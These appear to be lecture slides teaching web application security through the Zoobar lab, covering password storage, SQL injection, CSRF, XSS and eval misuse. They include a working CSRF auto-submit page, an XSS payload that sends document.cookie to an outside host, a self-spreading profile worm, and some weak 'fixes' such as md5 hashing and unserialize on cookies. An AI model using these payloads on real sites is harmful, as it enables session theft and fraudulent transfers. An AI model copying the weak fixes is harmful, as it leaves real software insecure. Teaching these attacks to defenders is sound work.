Security in Web Applications

Victor Costan

Contents

  • Introduction
  • Application Vulnerabilities
  • Integration Vulnerabilities
  • Wrap-Up

Introduction

Your Instructors

You need to care

Rules of the Game

  1. You will get pwned
  2. Don’t get pwned in an embarrassingly easy way
  3. Don’t get pwned in an embarrassingly cheap way

You Will Get Pwned

Limit the damage caused by pwnage.

Good backup providers.

Application Vulnerabilities

Application vulnerabilities can be detected by examining your application’s code, without any regard to the other pieces of software that it interacts with.

Plaintext Passwords I

User: Password:

Plaintext Passwords II

User: Password:
<form action="/login.php" method="GET">
  User: <input name="username" type="text" value="1337" />
  Password: <input name="password" type="password" value="haxxor"/>
  <input type="submit" value="Log in" />
</form>

Plaintext Passwords II

User: Password:
<form action="/login.php" method="GET">
  User: <input name="username" type="text" value="1337" />
  Password: <input name="password" type="password" value="haxxor"/>
  <input type="submit" value="Log in" />
</form>

Plaintext Passwords III

User: Password:
<form action="/login.php" method="POST">
  User: <input name="username" type="text" value="1337" />
  Password: <input name="password" type="password" value="haxxor"/>
  <input type="submit" value="Log in" />
</form>

Plaintext Passwords III

User: Password:
<form action="/login.php" method="POST">
  User: <input name="username" type="text" value="1337" />
  Password: <input name="password" type="password" value="haxxor"/>
  <input type="submit" value="Log in" />
</form>

Plaintext Passwords IV

Plaintext passwords in database

Hashed but unsalted passwords

Plaintext Passwords IV Fix

	    $salt = substr(md5(rand()), 0, 4);
	    $hashedpassword = md5($password.$salt);
	    $sql = "INSERT INTO Users (Username, Password, Salt) " .
	           "VALUES ('" . addslashes($username) . "', " .
	           "'$hashedpassword', '$salt')";
	    $db->executeQuery($sql);
    $sql = "SELECT Salt FROM Users WHERE Username = '" .
           addslashes($username) . "'";
    $rs = $db->executeQuery($sql);
    $salt = $rs->getValueByNr(0,0);
    $hashedpassword = md5($password.$salt);
    $sql = "SELECT * FROM Users WHERE " .
           "Username = '" . addslashes($username) . "' AND " .
           "Password = '$hashedpassword'";

Plaintext Passwords V

Processing SessionsController#create to json (for 96.39.52.46 at 2010-01-06 01:03:52) [POST]
  Parameters: {"name"=>"365c1e0d07b783297355e30022ea901d1dff96333b34929eb3650632bea73304", "device"=>{"hardware_model"=>"iPod2,1", "unique_id"=>"8186676124d4e588024ea29426f29d8aabb00858", "app_provisioning"=>"H", "app_version"=>"1.9", "app_id"=>"us.costan.StockPlay", "user_id"=>"0", "os_name"=>"iPhone OS", "os_version"=>"3.0", "model_id"=>"0", "app_push_token"=>"316e42e781d7cfb6f3de7ff2bab48e654c2d81da53d263476f8c66ca3253fc91"}, "format"=>"json", "action"=>"create", "controller"=>"sessions", "app_sig"=>"8f724fbfaf34772032412c5b638df009314c88bc6e6f245796cceb9c6db499f3", "password"=>"[FILTERED]"}
Completed in 45ms (View: 1, DB: 28) | 200 OK [http://istockplay.com/sessions.json]

No Access Control

Painfully obvious URLs.

“Secret” URLs.

No Access Control: Fix

Autentication

Authorization

Trusting Hidden Fields

Your total is $530.

Credit card number:


<p>Your total is $530.</p>
<form action="/checkout.php" method="POST">
	Credit card number: <input type="text" name="cc_no" />	
  <input type="submit" value="Place Order" />
  <input type="hidden" name="products" value="225,5331,7794" />
  <input type="hidden" name="price" value="530" />
</form>

Trusting Cookies

    $result = $this->db->executeQuery($sql);
    if ( $result->next() ) {
    	$this->username = $username;
      setcookie($this->cookieName, $this->username, time() + 31104000);
      return true;
    if ( isset($_COOKIE[$this->cookieName]) ) {
	    $username = $_COOKIE[$this->cookieName];
	    $sql = "SELECT * FROM Person WHERE " .
      	     "(Username = '" . addslashes($username) . "') ";
	    $rs = $this->db->executeQuery($sql);
	    if ( $rs->next() ) {

Trusting Cookies: Fix I

      $token = md5($result->getCurrentValueByName("Password").mt_rand());
      
      $sql = "UPDATE Users SET Token = '$token' " .
             "WHERE Username='" . addslashes($username) . "'";
      $db->executeQuery($sql);
      $arr = array($username, $token);
      $cookieData = base64_encode(serialize($arr));
      setcookie($this->cookieName, $cookieData, time() + 31104000);

Trusting Cookies: Fix I

    if ( isset($_COOKIE[$this->cookieName]) ) {
	    $arr = unserialize(base64_decode($_COOKIE[$this->cookieName]));
	    list($username, $token) = $arr;
	    if (!$username or !$token) {
	      return;
	    }
      return $this->_checkToken($username, $token);
    }
    $sql = "SELECT * FROM Users WHERE " .
           "(Username = '" . addslashes($username) . "') " .
           "AND (Token = '" . addslashes($token) . "')";
    $rs = $db->executeQuery($sql);
    if ( $rs->next() ) {

Trusting Cookies: Fix II

Use signed cookies.

# Basic idea, not full implementation.
set_cookie($cookie_name, md5($secret . $value) . $value, time() + 31104000);

Logic Flaws

What’s wrong here?

    $zoobars = (int) $_POST['zoobars'];
    $sql = "SELECT Zoobars FROM Person WHERE Username='" .
           addslashes($user->username) . "'";
    $rs = $db->executeQuery($sql);
    $sender_balance = $rs->getValueByNr(0,0) - $zoobars;

    $sql = "SELECT Username, Zoobars FROM Person WHERE Username='" .
	   addslashes($recipient) . "'";
    $rs = $db->executeQuery($sql);
    $recipient_exists = $rs->getValueByNr(0,0);
    $recipient_balance = $rs->getValueByNr(0,1) + $zoobars;

    if($sender_balance >= 0 && $recipient_balance >= 0 && $recipient_exists) {
    	$sql = "UPDATE Person SET Zoobars = $sender_balance " .
             "WHERE Username='" . addslashes($user->username) . "'";

Logic Flaws

Fix:

Integration Vulnerabilities

Integration vulnerabilities are not obvious from the application’s logic. They happen when complex systems interact in unexpected ways.

Solution

SQL Injection

    $username = $_POST['login_username'];
    $sql = "SELECT * FROM Person WHERE (Username = '$username') ";
    $rs = $db->executeQuery($sql);

The code above leads to pwnage.

SQL Injection Fixes

    $sql = "SELECT Username FROM Users WHERE Username='" .
           addslashes($username) . "'";

SQL Injection: Featured on XKCD

Source Code Leak

Serverity Problem Workaround
low database credentials in source use firewall to prevent external connections
medium other credentials (e.g. Facebook API key) ask partners to restrict API access to your IPs
high your source code is embarrassing fix the damn file permissions

Web Security: Model Overview

Problem

Threat Model

  1. User visits site B (e.g. Twitter) and logs in
  2. User visits site A (e.g. Facebook)
  3. Site A renders code that accesses data from site B

Web Security: Same-Origin Policy

Firewalls sites, so site A cannot interfere with site B

Web Security: the Mashup Hole

DOM elements can access data from any URL.

Tool Motivation Attack
<img> CDNs (Content Distribution Networks) Issue arbitrary GET requests.
<script> CDNs, Mash-ups (e.g. have a Google Map on your page) Mash-up provider can add malicious code to your page.
JSONP Get data from another source. Get data without user’s consent.

CSRF: Cross-Site Request Forgery

  1. Assume the victim is logged into target site. Assumption usually holds for Facebook, Twitter, Gmail, etc.
  2. Convince victim to visit page with your code.
  3. Issue HTTP requests to target site. The requests use the victim’s cookie jar.

CSRF Howto 1/4: Study the Target

<form method=POST name=transferform
  action="<?php echo $_SERVER['PHP_SELF']?>">
<p>Send <input name=zoobars type=text value="<?php 
  echo $_POST['zoobars']; 
?>" size=5> zoobars</p>
<p>to <input name=recipient type=text value="<?php 
  echo $_POST['recipient']; 
?>" size=10></p>
<input type=submit name=submission value="Send">
</form>

CSRF Howto 2/4: Extract the Request

Form action /transfer.php
Form method POST
zoobars number
recipient user name
submission Send

CSRF Howto 3/4: Set Up a Form

<!DOCTYPE html>
<html>
  <body>
    <form action="http://localhost/zoobar/transfer.php" id="post_form"
          method="post" enctype="application/x-www-form-urlencoded">
      <input type="hidden" name="recipient" value="attacker" />
      <input type="hidden" name="zoobars" value="10" />
      <input type="hidden" name="submission" value="Send" />
    </form>
    <iframe id="form_target" name="form_target" style="visibility: hidden;">      
    </iframe>
    
    <script type="text/javascript" src="csrf.js"></script>
  </body>
</html>

CSRF Howto 4/4: Auto-Submit the Form

var frame = document.getElementById('form_target'); 
var form = document.getElementById('post_form');
form.target = frame.name;
frame.addEventListener('load', function() {
	window.location = "http://pdos.csail.mit.edu/6.893/2009/";
}, false);
form.submit();

Bonus: Stealth Attack

  1. Submit the form result to an <iframe>
  2. Redirect to safe page after the form is submitted

CSRF Fix

function check_csrf_token() {
	global $csrf_token;	
	if ($_POST['_csrf_token'] != $csrf_token) {
		die();
	}
}
function csrf_form_field() {
	global $csrf_token;
	echo '<input type="hidden" name="_csrf_token" value="' . $csrf_token . '" />';
}

CSRF Fix

if (empty($_COOKIE['csrf_base']) || !isset($_COOKIE['csrf_base'])) {
	$csrf_base = sha1("csrf" . mt_rand() . "_" . getmypid() . "_" .
	                  microtime(true));
	setcookie('csrf_base', $csrf_base);
}
else {
  $csrf_base = $_COOKIE['csrf_base'];
}
$csrf_token = sha1($_COOKIE['csrf_base'] .
                   "hduM3POw/NCTmMfy7vKZxdDjupKnuK6r9");

XSS: Cross-Site Scripting

  1. Make the target site render your JavaScript from their server.
  2. Same-Origin Policy does not apply anymore.

XSS Howto 1/3: Find Vulnerability

XSS Howto 2/3: Inject an alert()

http://localhost/zoobar/users.php?user="><script type="text/javascript">alert('Boom');</script><div style="display:none;" xx="

XSS Howto 3/3: Full Attack

def session_exploit_js
  url = 'http://pdos.csail.mit.edu/6.893/2009/labs/lab3/sendmail.php'
  addr = 'costan@mit.edu'
  "(new Image()).src='#{url}?to=#{addr}&payload='" +
      "+encodeURIComponent(document.cookie)" +
      "+'&random='+Math.random();"
end
http://localhost/zoobar/users.php?user=%22+size%3D%2210%22%3E%3Cstyle+type%3D%22text%2Fcss%22%3E.warning%7Bdisplay%3Anone%3B%7D%3C%2Fstyle%3E%3Cscript+type%3D%22text%2Fjavascript%22%3E%3C%21--%0A%28new+Image%28%29%29.src%3D%27http%3A%2F%2Fpdos.csail.mit.edu%2F6.893%2F2009%2Flabs%2Flab3%2Fsendmail.php%3Fto%3Dcostan%40mit.edu%26payload%3D%27%2BencodeURIComponent%28document.cookie%29%2B%27%26random%3D%27%2BMath.random%28%29%3B%0A%2F%2F+--%3E%3C%2Fscript%3E%3Cdiv+style%3D%22display%3Anone%3B%22+xx%3D%22

XSS Defenses

Serve user content from another domain

Escape strings originating from the user

XSS Defenses: Escaping

 <nobr>User:
 <input type="text" name="user" value="<?php 
   echo htmlentities($_GET['user']); 
 ?>" size=10></nobr><br>

Leaking Data via AJAX

  var myZoobars = <?php 
     $sql = "SELECT Zoobars FROM Person WHERE Username='" .
            addslashes($user->username) . "'";
     $rs = $db->executeQuery($sql);
     $balance = $rs->getValueByNr(0,0);
     echo $balance > 0 ? $balance : 0;
  ?>;
  var div = document.getElementById("myZoobars");
  if (div != null) {
    div.innerHTML = myZoobars;

Leaking Data via Ajax: Exploit

  1. Set up data interceptor (JavaScript function or DOM object)
  2. Use <script> tag to obtain the data.
  3. Use the data.
      <div id="myZoobars">Nope</div>
    <script type="text/javascript"
            src="http://localhost/zoobar/zoobars.js.php">
    </script>
    <script type="text/javascript">
      if (document.getElementById('myZoobars').innerHTML == 'Nope') {

eval() is Evil

    $allowed_tags = 
      '<a><br><b><h1><h2><h3><h4><i><img><li><ol><p><strong><table>' .
      '<tr><td><th><u><ul><em><span>';
    $profile = strip_tags($profile, $allowed_tags);
    $disallowed = 
      'javascript:|window|eval|setTimeout|setInterval|target|'.
      'onAbort|onBlur|onChange|onClick|onDblClick|'.
      'onDragDrop|onError|onFocus|onKeyDown|onKeyPress|'.
      'onKeyUp|onLoad|onMouseDown|onMouseMove|onMouseOut|'.
      'onMouseOver|onMouseUp|onMove|onReset|onResize|'.
      'onSelect|onSubmit|onUnload';
    $profile = preg_replace("/$disallowed/i", " ", $profile);
    echo "<p id=profile>$profile</p></div>";
  var total = eval(document.getElementById('zoobars').className);

eval() is Evil

<span id="zoobars" class="var d = document; var js = d.getElementById('javascript').innerHTML; var tag = d.createElement('script'); tag.setAttribute('type', 'text/javascript'); tag.innerHTML = js; d.body.appendChild(tag);">
Headshot! 
</span>
<span style="display: none;" id="javascript">
var formEncode = function(args) {
  var output = '';
  for (var name in args) {
    if (output != '') { output += String.fromCharCode(38) }
    output += encodeURIComponent(name) + '=' + encodeURIComponent(args[name]); 
  }
  return output;
}

var pay=new XMLHttpRequest();
pay.open('POST', '/transfer.php');
pay.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
pay.send(formEncode({recipient: 'attacker', zoobars: 1, submission: 'Send'}));

var profile = document.getElementById('zoobars').parentNode.innerHTML;
var copy=new XMLHttpRequest();
copy.open('POST', '/index.php');
copy.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
copy.send(formEncode({profile_update: profile, profile_submit: 'Save'}));
</span>

eval() Is Evil: Fix

Use eval() very very sparingly.

  var total = parseInt(document.getElementById('zoobars').className);

This is for real: the previous attack was inspired from MySpace 2005 profile worm.

Infrastructure: Plug-ins

Famous 2009 Vulnerabilities

Fixes

Infrastructure: Server Stack

Update all stack components that you own ASAP.

Maintaining your own server?

Wrap-Up

Contact Information

Victor Costan

Presentation Resources

Slides and Code

Demo